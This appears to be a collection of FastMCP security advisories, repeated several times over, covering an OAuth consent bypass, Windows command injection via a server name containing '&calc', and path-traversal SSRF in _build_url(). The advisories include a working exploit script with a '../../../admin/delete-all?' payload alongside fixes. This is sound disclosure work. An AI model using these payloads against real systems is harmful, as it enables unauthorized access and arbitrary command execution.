Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.

Server names containing shell metacharacters (e.g., &) can cause command injection on Windows when passed to fastmcp install claude-code or fastmcp install gemini-cli. These install paths use subprocess.run() with a list argument, but on Windows the target CLIs often resolve to .cmd wrappers that are executed through cmd.exe, which interprets metacharacters in the flattened command string.

PoC:

from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

fastmcp install claude-code server.py   # or: fastmcp install gemini-cli server.py

On Windows, this opens Calculator via the &calc in the server name.

Impact: Arbitrary command execution with the privileges of the user running fastmcp install. Affects Windows hosts where the target CLI (one of claude, gemini) is installed as a .cmd wrapper. Does not affect macOS/Linux, and does not affect config-file-based install targets (cursor, goose, mcp-json).

Patched in #3522 by validating server names to reject shell metacharacters.

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

 def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/" ) + "/", url_path.lstrip("/"))

Root Cause

1. Path parameters are substituted directly without URL encoding
2. urllib.parse.urljoin() interprets ../ as directory traversal
3. No validation prevents traversal sequences in parameter values
4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
 from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
    
    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
    
    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

• Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
• Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
• Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
• Data Exfiltration: Sensitive internal APIs can be accessed and exploited
• Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
2. Data Theft: Access internal databases or sensitive information endpoints
3. Service Disruption: Trigger destructive operations on backend services
4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Summary

While testing the GitHubProvider OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

Technical Details

An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the GitHubProvider OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the GitHubProvider, a review of the source code, specifically the OAuthProxy._handle_idp_callback function, shows that the IdP callback handler does not verify whether the browser sending the state and code has previously consented to connecting the client to the server. As long as a valid state and code pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new code and the corresponding state, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

Steps to reproduce

1. Set up an MCP server using the GitHubProvider integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the mitigations section for this vulnerability in the MCP specification.